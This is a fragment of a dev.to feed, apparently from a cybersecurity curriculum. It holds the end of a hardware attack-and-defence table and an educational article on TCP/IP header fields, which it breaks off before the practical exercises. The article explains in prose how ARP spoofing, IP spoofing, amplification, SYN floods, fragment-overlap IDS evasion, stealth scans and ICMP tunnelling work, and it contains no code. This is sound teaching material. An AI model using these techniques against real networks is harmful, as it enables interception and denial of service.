&lt;td&gt;Spectre/Meltdown, RIP control in exploits&lt;/td&gt;
&lt;td&gt;Speculative execution side-channel&lt;/td&gt;
&lt;td&gt;Microcode updates, software mitigations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RAM&lt;/td&gt;
&lt;td&gt;Fileless malware, memory forensics&lt;/td&gt;
&lt;td&gt;Cold boot, Rowhammer, process injection&lt;/td&gt;
&lt;td&gt;Pre-boot PIN, ECC RAM, IOMMU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ROM&lt;/td&gt;
&lt;td&gt;Firmware persistence&lt;/td&gt;
&lt;td&gt;HDD firmware implant (Equation Group)&lt;/td&gt;
&lt;td&gt;Secure firmware verification, signing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPU&lt;/td&gt;
&lt;td&gt;Password cracking acceleration&lt;/td&gt;
&lt;td&gt;GPU memory scraping&lt;/td&gt;
&lt;td&gt;Strong passwords (12+ chars, Argon2 hashing)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Motherboard&lt;/td&gt;
&lt;td&gt;ME/AMT backdoor, DMA attacks&lt;/td&gt;
&lt;td&gt;Intel AMT auth bypass, PCILeech&lt;/td&gt;
&lt;td&gt;IOMMU, disable unnecessary ME features&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storage&lt;/td&gt;
&lt;td&gt;Data recovery, forensics&lt;/td&gt;
&lt;td&gt;Disk imaging, file carving&lt;/td&gt;
&lt;td&gt;Crypto erase (NVMe Sanitize), physical destruction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BIOS/UEFI&lt;/td&gt;
&lt;td&gt;Most persistent malware class&lt;/td&gt;
&lt;td&gt;BlackLotus Secure Boot bypass&lt;/td&gt;
&lt;td&gt;Secure Boot, firmware updates, UEFI password&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PSU&lt;/td&gt;
&lt;td&gt;Hardware fault injection&lt;/td&gt;
&lt;td&gt;Power glitching, side-channel analysis&lt;/td&gt;
&lt;td&gt;UPS for availability, constant-time crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical&lt;/td&gt;
&lt;td&gt;Attack foundation for everything&lt;/td&gt;
&lt;td&gt;Evil Maid, hardware keylogger, tailgating&lt;/td&gt;
&lt;td&gt;Layered physical controls, tamper evidence&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;&lt;em&gt;This document is part of the **Zero to Expert Cybersecurity Roadmap&lt;/em&gt;* — a comprehensive, systematic curriculum designed for professionals at the intersection of electrical engineering and cybersecurity.*&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Stage 0.1 Complete → Proceed to Stage 0.2: Operating System Fundamentals&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Document Version:&lt;/strong&gt; 1.0&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Last Updated:&lt;/strong&gt; 2025&lt;br&gt;&lt;br&gt;
&lt;strong&gt;License:&lt;/strong&gt; MIT — Free to use, share, and modify with attribution&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>computerscience</category>
      <category>software</category>
      <category>programming</category>
    </item>
    <item>
      <title>TCP/IP Stack &amp; Packet Anatomy: The Foundation Every Security Professional Must Master</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 26 Apr 2026 18:46:47 +0000</pubDate>
      <link>https://dev.to/rencberakman/tcpip-stack-packet-anatomy-the-foundation-every-security-professional-must-master-ehp</link>
      <guid>https://dev.to/rencberakman/tcpip-stack-packet-anatomy-the-foundation-every-security-professional-must-master-ehp</guid>
      <description>&lt;p&gt;There is a question that separates people who work in cybersecurity from people who truly understand cybersecurity: do you know what actually happens between the moment you press Enter and the moment a web server responds? Not the textbook answer. Not the diagram with seven colored boxes. The real answer — at the byte level, at the wire level, at the level where attackers operate.&lt;br&gt;
If you cannot answer that question with precision, every tool you use is a black box. You can run Nmap, you can launch Metasploit, you can analyze traffic in Wireshark — but you are doing it blind. You are pushing buttons and hoping the output makes sense. Real security work, whether offensive or defensive, starts with understanding exactly how data moves across a network, because every attack, every defense, and every detection technique is built directly on top of this foundation.&lt;br&gt;
This article will not give you a surface-level overview. We are going to go deep — deep enough that by the end, the way you look at network traffic will be permanently changed.&lt;/p&gt;

&lt;p&gt;Why the OSI Model Is Taught Wrong (And What You Actually Need to Know)&lt;br&gt;
Every networking course starts with the OSI model. Seven layers, nice acronyms, maybe a mnemonic. And then the teacher moves on, and most students never really connect the model to what is actually happening on the wire.&lt;br&gt;
The OSI model is a conceptual framework created in the late 1970s by the International Organization for Standardization. It was designed to allow different vendors to build interoperable networking equipment by agreeing on a common abstraction. It has seven layers: Physical, Data Link, Network, Transport, Session, Presentation, and Application.&lt;br&gt;
The TCP/IP model is what the internet actually runs on. It collapses the OSI model into four layers: Network Access (combining Physical and Data Link), Internet (corresponding to Network), Transport, and Application (combining Session, Presentation, and Application).&lt;br&gt;
Here is why this matters for security: attacks do not happen in a single layer. They happen across layers, exploiting the boundaries between them. A SYN flood attack targets the Transport layer but exhausts resources at the Application layer. DNS cache poisoning targets the Application layer but exploits assumptions made at the Network layer. An ARP spoofing attack targets the Data Link layer but enables man-in-the-middle attacks that intercept Application layer data. If you think in silos — "this is a Layer 4 attack" — you will miss the full picture.&lt;br&gt;
The key insight is this: each layer adds its own header to the data as it goes down the stack (encapsulation), and strips that header as it comes up the stack (decapsulation). Every header contains fields that can be inspected, manipulated, forged, or exploited. Understanding every field in every header is not academic — it is operational.&lt;/p&gt;

&lt;p&gt;The Physical and Data Link Layers: Where Bits Become Frames&lt;br&gt;
Before a single packet is transmitted, the physical medium must carry the signal. Ethernet uses differential signaling over twisted pair cables. Wi-Fi encodes data in radio waves. Fiber uses light pulses. The specific encoding mechanism matters less for most security work than what happens at the Data Link layer, which is where Ethernet frames live.&lt;br&gt;
An Ethernet frame has the following structure. It begins with a preamble — seven bytes of alternating 1s and 0s — which allows the receiving network card to synchronize its clock with the incoming signal. This is followed by one byte called the Start Frame Delimiter, which is always 0b10101011, signaling that the actual frame is about to begin.&lt;br&gt;
Then comes the destination MAC address: six bytes. Then the source MAC address: six bytes. Then a two-byte EtherType field, which tells the receiving device what protocol is encapsulated inside — 0x0800 for IPv4, 0x0806 for ARP, 0x86DD for IPv6, 0x8100 for VLAN-tagged frames (802.1Q). Then the payload, between 46 and 1500 bytes. Then a four-byte Frame Check Sequence, which is a CRC-32 checksum used to detect transmission errors.&lt;br&gt;
MAC addresses are 48-bit identifiers burned into network interface cards by manufacturers. The first three bytes are the Organizationally Unique Identifier (OUI), assigned to the manufacturer. The last three bytes are the device-specific portion. MAC addresses are supposed to be globally unique, but they can be trivially changed in software — a technique called MAC spoofing, which is used to bypass MAC-based access controls and to evade detection after a network intrusion.&lt;br&gt;
The Address Resolution Protocol (ARP) operates at this layer and is responsible for mapping IP addresses to MAC addresses. When a device wants to send traffic to an IP address on the local network, it sends an ARP request: a broadcast frame saying "who has IP address X, tell IP address Y." The device with that IP responds with an ARP reply: "IP address X is at MAC address Z."&lt;br&gt;
ARP has no authentication. There is no mechanism in the protocol to verify that the device claiming to own an IP address actually does. This is the root cause of ARP spoofing, also called ARP poisoning. An attacker sends gratuitous ARP replies — unsolicited replies that update the ARP tables of other devices on the network — falsely claiming that a target IP address maps to the attacker's MAC address. The result is that traffic intended for the target gets sent to the attacker instead. This is one of the oldest and most effective man-in-the-middle techniques on local networks, and it still works today because ARP was never designed with security in mind.&lt;br&gt;
The ARP table (sometimes called the ARP cache) on any machine can be viewed with the arp -a command on Windows or Linux. In a penetration test against a local network, checking and manipulating the ARP table is often one of the first steps. Tools like arpspoof and Ettercap automate this process, but understanding what they are doing — sending crafted ARP reply frames — is essential for both executing and detecting these attacks.&lt;br&gt;
VLAN tagging, defined in IEEE 802.1Q, inserts a four-byte tag into the Ethernet frame between the source MAC address and the EtherType field. The tag contains a 12-bit VLAN identifier (allowing up to 4094 VLANs), a 3-bit priority field, and a Drop Eligible Indicator bit. VLANs are used to logically separate network segments on shared physical infrastructure. The security assumption is that devices on different VLANs cannot communicate directly. VLAN hopping attacks exploit misconfigurations in trunk ports and native VLANs to bypass this segmentation, which is a common finding in enterprise network penetration tests.&lt;/p&gt;

&lt;p&gt;The IP Layer: Routing, Addressing, and the Fields That Matter&lt;br&gt;
The Internet Protocol is the glue that holds the internet together. It provides two fundamental services: addressing and routing. Every device on the internet has an IP address, and IP is responsible for getting packets from source to destination, potentially across many intermediate routers.&lt;br&gt;
An IPv4 header is a minimum of 20 bytes. Every field in it has security implications.&lt;br&gt;
The first field is the Version, which occupies the top four bits. For IPv4 it is always 4. For IPv6 it is 6. Simple, but occasionally relevant when dealing with protocol confusion attacks.&lt;br&gt;
The Internet Header Length (IHL) field occupies the next four bits and specifies the length of the IP header in 32-bit words. The minimum value is 5 (meaning 20 bytes), and the maximum is 15 (meaning 60 bytes). If IHL is greater than 5, the header contains options. IP options are a source of significant complexity and have been used in various attacks over the years, including the infamous IP record route option which can be used for network reconnaissance.&lt;br&gt;
The Differentiated Services Code Point (DSCP) field is six bits and is used for Quality of Service markings. From a security perspective, an unexpected DSCP value can sometimes indicate traffic that is being specially prioritized, which may be relevant in traffic analysis.&lt;br&gt;
The Total Length field is two bytes and indicates the total size of the IP datagram — header plus payload — in bytes. The maximum value is 65535 bytes. This field has been involved in several historical vulnerabilities. The Ping of Death attack, for example, sent ICMP packets with a total size exceeding 65535 bytes when reassembled from fragments, causing buffer overflows in vulnerable operating systems. The field is also relevant in fragmentation attacks.&lt;br&gt;
The Identification field is two bytes and is used to group IP fragments together. When a large IP datagram must be fragmented to traverse a link with a small Maximum Transmission Unit (MTU), each fragment gets the same Identification value so the receiving host knows which fragments belong together. This field has been used in OS fingerprinting because different operating systems use different strategies for generating Identification values. Some use sequential counters, some use random values, and some use patterns that are specific to particular implementations. By analyzing the Identification field in responses, it is sometimes possible to determine the operating system without even looking at other headers.&lt;br&gt;
The Flags field is three bits. The first bit is reserved and must be zero. The second bit is the Don't Fragment (DF) bit. When set, it tells routers not to fragment the packet. If the packet is too large for a link and the DF bit is set, the router drops the packet and sends an ICMP "Fragmentation Needed" message back to the source. This is the mechanism behind Path MTU Discovery. Attackers sometimes manipulate the DF bit to interfere with MTU discovery or to cause deliberate packet drops. The third bit is the More Fragments (MF) bit, which is set on all fragments except the last one.&lt;br&gt;
The Fragment Offset field is 13 bits and specifies where in the original datagram this fragment belongs, measured in units of eight bytes. IP fragmentation and reassembly has a long history of security vulnerabilities. The Teardrop attack sent overlapping fragments with invalid offsets, causing vulnerable systems to crash when trying to reassemble them. Fragment overlap attacks can also be used to evade intrusion detection systems: the IDS sees harmless fragments, but the target host reassembles them into an attack payload because it resolves the overlap differently than the IDS does.&lt;br&gt;
The Time to Live (TTL) field is one byte and is decremented by each router the packet passes through. When TTL reaches zero, the packet is dropped and an ICMP Time Exceeded message is sent back to the source. This is the mechanism behind the traceroute tool. The initial TTL value also varies by operating system — Windows typically starts at 128, Linux at 64, and older Cisco devices at 255. Observing the TTL of incoming packets can sometimes reveal information about the operating system and the number of hops between you and the sender, though VPNs and proxies complicate this analysis.&lt;br&gt;
The Protocol field is one byte and identifies the transport layer protocol carried in the IP payload: 6 for TCP, 17 for UDP, 1 for ICMP, 50 for ESP (IPsec), 51 for AH (IPsec), 89 for OSPF, and so on. The complete list is maintained by IANA. This field matters in firewall rules and in protocol tunneling. ICMP tunneling, for example, hides data inside ICMP packets by sending it in the payload field of Echo Request or Echo Reply messages, allowing exfiltration through firewalls that block other protocols but allow ICMP. Tools like iodine and ptunnel implement various forms of protocol tunneling.&lt;br&gt;
The Header Checksum is two bytes and covers only the IP header. It is recalculated at every router hop because the TTL changes. This checksum does not protect the payload — that is the responsibility of TCP, UDP, or the application. IP spoofing is possible precisely because IP itself provides no authentication — any device can craft a packet with any source IP address it chooses.&lt;br&gt;
The source and destination IP addresses are four bytes each. IPv4 uses 32-bit addresses, providing approximately 4.3 billion unique addresses. This space is divided into public addresses, routable across the internet, and private address ranges defined in RFC 1918: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16. There are also several other special ranges: 127.0.0.0/8 is the loopback range, 169.254.0.0/16 is the link-local range used when DHCP is unavailable, 224.0.0.0/4 is multicast, and 0.0.0.0/8 represents "this network."&lt;br&gt;
IP address spoofing — sending packets with a forged source address — is trivially easy to implement but has limited utility for attacks that require a response, because the response goes to the forged address, not the attacker. It is, however, extremely useful for reflection and amplification attacks. In these attacks, the attacker sends requests to legitimate servers (DNS resolvers, NTP servers, memcached instances) with the source IP set to the victim's IP address. The servers send their responses to the victim, and if the responses are much larger than the requests (amplification), the victim receives a flood of traffic without the attacker ever sending that volume directly. DNS amplification attacks can achieve amplification factors of 50x or more, meaning the attacker sends 1 GB of traffic and the victim receives 50 GB.&lt;br&gt;
CIDR notation (Classless Inter-Domain Routing) is the standard way to express IP address ranges. An address like 192.168.1.0/24 means the first 24 bits are the network portion and the remaining 8 bits are the host portion, giving 256 addresses (254 usable, since the network address and broadcast address are not usable). Understanding CIDR is essential for reading firewall rules, subnetting, and understanding the scope of network scans.&lt;/p&gt;

&lt;p&gt;ICMP: More Than Just Ping&lt;br&gt;
The Internet Control Message Protocol lives at the same layer as IP and is used for diagnostic and error-reporting functions. Most people know it as the protocol behind ping and traceroute, but ICMP has a large number of message types and codes that are relevant to security.&lt;br&gt;
An ICMP message has a one-byte Type field, a one-byte Code field, a two-byte checksum, and a variable-length data field. The Type and Code together specify the exact meaning of the message.&lt;br&gt;
Type 0, Code 0 is Echo Reply — the ping response. Type 8, Code 0 is Echo Request — the ping itself. The data field of a ping can carry arbitrary data. This is the basis of ICMP tunneling: by putting a command or payload in the data field of an Echo Request and reading the response from the data field of the Echo Reply, two parties can establish a covert channel through ICMP.&lt;br&gt;
Type 3 is Destination Unreachable. The Code value specifies why the destination was unreachable. Code 0 means the network is unreachable (routing failure). Code 1 means the host is unreachable. Code 3 means the port is unreachable — this is the response UDP sends when a packet arrives at a closed port. Code 4 means fragmentation is needed but the DF bit is set (relevant for Path MTU Discovery). Code 13 means communication is administratively prohibited — this is what a firewall sends when it drops a packet and is configured to respond. The presence or absence of these responses, and which codes are returned, reveals information about the network topology and firewall configuration.&lt;br&gt;
Type 5 is Redirect. ICMP Redirect messages tell a host to update its routing table to use a different gateway for a particular destination. These messages are legitimate in properly configured networks, but they can also be sent by attackers to redirect traffic through a machine they control. This is another vector for man-in-the-middle attacks. Modern operating systems can be configured to ignore ICMP Redirect messages.&lt;br&gt;
Type 11 is Time Exceeded. Code 0 means TTL exceeded in transit — this is what routers send when they drop a packet with TTL=0. This is how traceroute works: it sends packets with increasing TTL values, starting at 1, and each router along the path drops the packet and sends back a Time Exceeded message, revealing its own IP address. This allows the path to the destination to be mapped. Code 1 is Fragment Reassembly Timeout, sent when a host does not receive all the fragments of a datagram within a time limit.&lt;br&gt;
ICMP is frequently blocked at perimeter firewalls, but this is often done imprecisely. Blocking all ICMP breaks important functionality like Path MTU Discovery and can cause subtle connectivity problems. The recommended approach is to block certain ICMP types while allowing others.&lt;/p&gt;

&lt;p&gt;TCP: The Protocol Where Most Attacks Live&lt;br&gt;
The Transmission Control Protocol provides reliable, ordered, and error-checked delivery of a stream of bytes between applications. It is defined in RFC 793, which dates to 1981 and is remarkable in how much of the internet still depends on it essentially unchanged.&lt;br&gt;
A TCP header is a minimum of 20 bytes. Understanding every field is not optional for security work.&lt;br&gt;
The source port is two bytes. The destination port is two bytes. Ports range from 0 to 65535. Ports 0 through 1023 are "well-known" ports, assigned by IANA to specific services: 22 for SSH, 25 for SMTP, 53 for DNS (over both TCP and UDP), 80 for HTTP, 443 for HTTPS, 445 for SMB. Ports 1024 through 49151 are "registered" ports. Ports 49152 through 65535 are "ephemeral" ports, used as source ports for outgoing connections. The specific ephemeral port range varies by operating system and can itself be used for OS fingerprinting.&lt;br&gt;
The Sequence Number is four bytes. TCP is a stream-oriented protocol, and the sequence number identifies where in the byte stream this segment belongs. The sequence number space wraps around — it is a 32-bit counter, so it goes from 0 to 4,294,967,295 and then back to 0.&lt;br&gt;
The initial sequence number (ISN) chosen at the start of a TCP connection is critically important from a security perspective. In early TCP implementations, the ISN was predictable — it was often incremented by a fixed amount for each new connection. This predictability enabled TCP session hijacking attacks, where an attacker who could observe or guess the sequence numbers could inject data into an established TCP connection or terminate it. Modern operating systems use cryptographically random ISNs to prevent this.&lt;br&gt;
The Acknowledgment Number is four bytes and is only meaningful when the ACK flag is set. It contains the next sequence number the sender of this segment expects to receive — in other words, it acknowledges receipt of all bytes up to but not including this number.&lt;br&gt;
The Data Offset field (also called the Header Length) is four bits and specifies the size of the TCP header in 32-bit words, allowing for TCP options. The Flags field is nine bits. In practice, six flags matter most for security work.&lt;br&gt;
The SYN flag (Synchronize) is used to initiate a connection. The ACK flag (Acknowledge) indicates that the Acknowledgment Number field is valid. The FIN flag (Finish) requests a graceful connection termination. The RST flag (Reset) abruptly terminates the connection. The PSH flag (Push) tells the receiving TCP implementation to deliver data to the application immediately rather than buffering it. The URG flag (Urgent) indicates that the Urgent Pointer field is valid, but this flag is rarely used in practice and its use is often associated with certain types of probing.&lt;br&gt;
The combination of flags in a packet carries a lot of information. During normal operation, you see SYN, SYN-ACK, ACK during the handshake, and then ACK packets carrying data, and eventually FIN-ACK exchanges for connection teardown. In network scanning and attack tools, you see unusual flag combinations.&lt;br&gt;
An Xmas tree scan (so called because all the flags are "lit up") sends packets with FIN, PSH, and URG all set. A Null scan sends packets with no flags set. A FIN scan sends packets with only the FIN flag set. According to the TCP standard, a closed port should respond to these unusual packets with a RST, while an open port should silently drop them. This allows port states to be inferred without completing a full TCP handshake, which some intrusion detection systems might not log as aggressively as a full SYN scan. However, this technique only works on certain operating systems — Windows, for example, sends RST for all these packet types regardless of whether the port is open, making these scans unreliable against Windows targets.&lt;br&gt;
The Window Size is two bytes and tells the other side how much buffer space is available — how many bytes can be sent before waiting for an acknowledgment. The window size has historically been used in OS fingerprinting because different operating systems advertise different default window sizes. The TCP window size is also at the center of TCP flow control: if an application cannot consume incoming data fast enough, the window size shrinks, eventually reaching zero, which tells the sender to stop transmitting until further notice. This mechanism can be exploited in TCP window manipulation attacks to slow down connections deliberately.&lt;br&gt;
The Checksum is two bytes and covers the TCP header, the payload, and a "pseudo-header" that includes the source and destination IP addresses, the protocol number (6 for TCP), and the total TCP length. The inclusion of IP address information means that the TCP checksum provides some protection against IP spoofing — a spoofed packet with an incorrect source IP will typically have an invalid checksum. However, calculating a correct checksum for a spoofed packet is trivial, so this is not a meaningful security control.&lt;br&gt;
TCP options are variable-length fields that follow the fixed 20-byte header. The most important options for security work are Maximum Segment Size (MSS), which negotiates the largest segment either side will accept; SACK (Selective Acknowledgment), which allows the receiver to acknowledge non-contiguous blocks of data, improving performance in lossy networks; Window Scale, which allows the window size to exceed 65535 bytes by specifying a shift factor; and Timestamps, which allow round-trip time measurement and provide protection against wrapped sequence numbers. The set of options and their values are one of the most reliable signals used in passive OS fingerprinting — tools like p0f can identify operating systems from a single SYN packet with very high accuracy.&lt;/p&gt;

&lt;p&gt;The Three-Way Handshake: Mechanics, Security, and Attacks&lt;br&gt;
Every TCP connection begins with a three-way handshake. Understanding this process in detail is essential because it is the basis of several important attack categories.&lt;br&gt;
In the first step, the client sends a SYN segment. The SYN flag is set. The sequence number is the client's initial sequence number — call it C_ISN. No data is carried in a SYN segment. TCP options like MSS, SACK, Window Scale, and Timestamps are negotiated here.&lt;br&gt;
In the second step, the server sends a SYN-ACK segment. Both the SYN and ACK flags are set. The server chooses its own initial sequence number — call it S_ISN — and places it in the Sequence Number field. The Acknowledgment Number is C_ISN + 1 (acknowledging the client's SYN, which consumed one sequence number). The server's TCP options are also included here.&lt;br&gt;
In the third step, the client sends an ACK segment. The ACK flag is set. The Sequence Number is C_ISN + 1. The Acknowledgment Number is S_ISN + 1. The connection is now established.&lt;br&gt;
The SYN flood attack exploits this handshake. When a server receives a SYN, it must allocate resources to track the half-open connection and then wait for the final ACK. These half-open connections are stored in a structure called the SYN backlog queue or the incomplete connection queue. If an attacker sends a large number of SYN segments with spoofed source addresses, the server allocates resources for each one and sends SYN-ACK responses to the (non-existent) addresses. The final ACKs never arrive. The SYN backlog queue fills up. When it is full, the server cannot accept new legitimate connections. This is a classic denial-of-service attack.&lt;br&gt;
SYN cookies are the primary defense against SYN floods. With SYN cookies enabled, the server does not allocate any resources when it receives a SYN. Instead, it encodes the connection state into the initial sequence number it sends back in the SYN-ACK. Specifically, the server generates a cryptographic hash of the source IP, source port, destination IP, destination port, and a time-based component, and uses this as the SYN-ACK's sequence number. If the client sends a valid ACK — meaning the Acknowledgment Number equals that sequence number plus one — the server can reconstruct the connection state from the ACK and proceed normally. Spoofed SYN packets never result in a valid ACK (because the response goes to the spoofed address), so no resources are allocated until a valid three-way handshake completes.&lt;br&gt;
The connection teardown process uses FIN segments. To close a connection, one side sends a FIN, the other acknowledges it with an ACK, then the other side sends its own FIN, and the first side acknowledges it. This four-step process allows both sides to independently close their half of the connection. After sending the final ACK, the active closer enters a TIME_WAIT state, lasting twice the Maximum Segment Lifetime (typically 60 to 120 seconds). The purpose of TIME_WAIT is to handle the case where the final ACK is lost — if it was lost, the other side will retransmit its FIN, and the TIME_WAIT socket can respond with another ACK. TIME_WAIT also prevents delayed duplicate segments from a previous connection from being mistakenly accepted by a new connection using the same port pair. On servers handling many short-lived connections, large numbers of TIME_WAIT sockets can be a scalability issue.&lt;br&gt;
A RST segment immediately terminates a TCP connection without the graceful FIN exchange. The receiving side must discard all buffered data. RST segments are used by firewalls and intrusion prevention systems to terminate connections — a technique called TCP RST injection. Tools like Snort, when configured in inline mode, can inject RST segments to both sides of a detected attack connection, terminating it before the malicious payload reaches its destination. The Great Firewall of China famously uses TCP RST injection to terminate connections to censored resources.&lt;/p&gt;

&lt;p&gt;UDP: Speed Over Reliability, and Why That Matters&lt;br&gt;
The User Datagram Protocol provides a minimal transport service. There is no connection establishment, no sequencing, no acknowledgment, no flow control, and no congestion control. A UDP datagram is just delivered — or not.&lt;br&gt;
The UDP header is eight bytes: two bytes for source port, two bytes for destination port, two bytes for the total length of the datagram (header plus payload), and two bytes for checksum. That is it.&lt;br&gt;
UDP is used by services where low latency is more important than reliability (DNS, streaming media, online gaming, VoIP) and by services that implement their own reliability mechanisms at the application layer (QUIC, DTLS). DNS primarily uses UDP for queries, switching to TCP only for responses that exceed 512 bytes (though the EDNS extension raises this limit).&lt;br&gt;
From a security perspective, UDP's connectionless nature means that source IP spoofing is straightforward — there is no handshake to complete. This is why UDP is the preferred protocol for amplification attacks. The attacker sends a small UDP request with the victim's IP as the source. A legitimate server sends a large response to the victim. No three-way handshake is needed, so the spoofing is not detected until the response goes out.&lt;br&gt;
UDP port scanning is more complex than TCP port scanning because there is no standard "open" response. When a UDP packet is sent to an open port, the application may respond, or it may not. When sent to a closed port, the kernel typically sends back an ICMP Port Unreachable message. But firewalls often block these ICMP responses. So UDP scanning is slow, unreliable, and often generates false positives. Nmap's UDP scan (-sU) works by sending UDP packets to each port and waiting for either an application response (indicating open) or an ICMP port unreachable (indicating closed). No response means "open or filtered."&lt;/p&gt;

&lt;p&gt;What Wireshark Actually Shows You (And How to Read It)&lt;br&gt;
Wireshark is the de facto standard tool for packet capture and protocol analysis. Understanding how to read its output at a deep level is a fundamental skill.&lt;br&gt;
When you capture traffic with Wireshark, each row in the packet list corresponds to one packet. The columns show the time (relative to the first packet by default), source IP, destination IP, protocol, length, and a brief info string. The Info column is generated by Wireshark's protocol dissectors and summarizes the key information in the packet.&lt;br&gt;
When you click on a packet, the packet details pane shows the full dissection of every protocol layer. You can expand each layer to see individual fields. And the packet bytes pane at the bottom shows the raw hex and ASCII representation of the entire packet. Selecting a field in the details pane highlights the corresponding bytes in the hex dump. This correspondence between fields and bytes is how you build the connection between abstract protocol knowledge and concrete wire-level data.&lt;br&gt;
Learning to read Wireshark effectively requires practice with filters. Wireshark's display filters are powerful and specific. tcp.flags.syn == 1 &amp;amp;&amp;amp; tcp.flags.ack == 0 filters for SYN packets only — the opening of TCP connections. ip.src == 192.168.1.100 filters for packets from a specific source. tcp.stream eq 5 shows all packets belonging to the fifth TCP stream. http.request.method == "POST" shows only HTTP POST requests. !(arp or icmp or dns) hides common background noise. The ability to write precise display filters is what separates someone who can open Wireshark from someone who can actually investigate an incident with it.&lt;br&gt;
Capture filters (BPF syntax, set before capture begins) and display filters (Wireshark syntax, set after capture) are different languages with similar but not identical functionality. Capture filters use BPF syntax: tcp port 80, host 192.168.1.1, not arp. Display filters are more expressive: tcp.port == 80, ip.addr == 192.168.1.1, not arp.&lt;br&gt;
For practical exercises, start by capturing your own traffic as you browse the web. Find the TCP handshake for an HTTPS connection. Observe the TLS handshake that follows. Notice that the application data is encrypted but you can still see the IP addresses, ports, packet sizes, and timing. This metadata — even without the payload — reveals a great deal about the communication patterns, which is why traffic analysis remains effective even against encrypted traffic.&lt;br&gt;
Then deliberately generate different types of traffic. Run an Nmap SYN scan against a local VM and capture it. You will see the SYN packets going out, the SYN-ACK responses from open ports, and the RST responses (or no response) from closed or filtered ports. Notice that Nmap immediately sends a RST after receiving the SYN-ACK — it is completing the scan without establishing a full connection. This is the defining characteristic of a SYN scan (stealth scan): it does not appear in the server's connection logs because the connection was never fully established (though modern systems often log partial connections).&lt;/p&gt;

&lt;p&gt;IP Fragmentation: A Deeper Look at an Underappreciated Attack Surface&lt;br&gt;
IP fragmentation occurs when a datagram is too large to traverse a link in one piece. The Maximum Transmission Unit (MTU) defines the maximum size of a frame on a given link — 1500 bytes for standard Ethernet, 1492 for PPPoE, 9000 for jumbo frames. When a router needs to forward a packet larger than the MTU of the outgoing link (and the DF bit is not set), it fragments the packet into pieces that fit.&lt;br&gt;
Each fragment carries the original IP Identification value, the Fragment Offset indicating where in the original datagram it belongs, and the More Fragments flag (set on all fragments except the last). The receiving host must reassemble all fragments before passing the datagram to the transport layer.&lt;br&gt;
Fragmentation has been the source of numerous security vulnerabilities, and understanding why requires understanding the reassembly process. The receiving host maintains a reassembly buffer for each partially received datagram, identified by the source IP, destination IP, Protocol, and Identification tuple. When a fragment arrives, it is placed in the buffer according to its offset. When the last fragment (MF=0) arrives and all offsets are filled in, the datagram is reassembled and passed up the stack.&lt;br&gt;
The security problems arise from several sources. First, the reassembly process is complex, and complex code has bugs. Historical vulnerabilities like Teardrop exploited integer overflows in the reassembly code by sending fragments with overlapping offsets that caused the kernel to calculate a negative or very large copy length, resulting in buffer overflows.&lt;br&gt;
Second, fragmentation complicates inspection by security devices. A packet filter or intrusion detection system operating at the IP layer sees individual fragments, not complete datagrams. The transport layer header — containing source and destination ports, TCP flags, and the beginning of the application payload — is only in the first fragment. Subsequent fragments contain only IP headers and payload data. A firewall that makes filtering decisions based on ports or TCP flags cannot apply those decisions to subsequent fragments, because those fragments do not contain the port information.&lt;br&gt;
Attackers have exploited this by placing attack payloads in later fragments. The attack signature only appears when the fragments are reassembled, but the security device may not perform reassembly. Fragment overlap attacks take this further: send one set of fragments that looks benign to the IDS, then send overlapping fragments with an actual attack payload. The IDS sees the benign content and allows everything through. The target host has a different policy for resolving overlapping fragments (using the later data, for example, while the IDS uses the earlier data) and ends up with the attack payload after reassembly.&lt;br&gt;
Modern IPSes and next-generation firewalls typically perform fragment reassembly before inspection to address this. But fragment reassembly requires memory and CPU resources proportional to the number of concurrent incomplete datagrams, which creates a resource exhaustion vulnerability: an attacker can send many first fragments and never send the remaining fragments, causing the reassembly buffers to fill up. Systems mitigate this with timers that expire incomplete reassembly attempts.&lt;/p&gt;

&lt;p&gt;TCP State Tracking and Stateful Firewalls&lt;br&gt;
Early packet filters (and still many simple ACLs on routers) make filtering decisions on each packet independently, based solely on the headers of that packet. They do not track the state of TCP connections. This means that to allow TCP traffic in both directions, you must write rules permitting traffic from both sides. To allow outbound web browsing (TCP to port 80), you need a rule allowing traffic from internal hosts to external port 80, and a rule allowing traffic from external port 80 to internal hosts (the return traffic). If an attacker crafts a packet from an external host with a source port of 80 and appropriate flags, it might be allowed through the stateless filter even though it is not part of any legitimate connection.&lt;br&gt;
Stateful firewalls maintain a connection tracking table that records the state of every TCP connection passing through. When a SYN packet is allowed through, an entry is created in the connection table. When the SYN-ACK and ACK follow, the entry is updated. When data flows, the sequence numbers are tracked. When the FIN and final ACK are exchanged, the entry is removed. Subsequent packets are only allowed if they match an existing entry in the connection table. This means that crafted packets from external attackers cannot be sent to internal hosts unless they are part of an established connection.&lt;br&gt;
Connection tracking tables are stored in memory and have finite capacity. This is why SYN flood attacks are effective even against stateful firewalls: each SYN packet causes an entry to be created in the firewall's connection table, and if the table fills up, no new connections can be established.&lt;br&gt;
Linux's netfilter (the kernel's packet filtering framework) maintains a connection tracking table that can be viewed with conntrack -L. The table shows each tracked connection with its state: SYN_SENT, SYN_RECV, ESTABLISHED, FIN_WAIT, CLOSE_WAIT, TIME_WAIT. Understanding this table is valuable for debugging firewall issues and for understanding what connections are currently active on a system.&lt;/p&gt;

&lt;p&gt;Practical Skills: Building This Knowledge&lt;br&gt;
Reading about protocol fields is necessary but not sufficient. You need to actually work with packets. Here is a structured set of practical exercises that will cement this knowledge.&lt;br&gt;
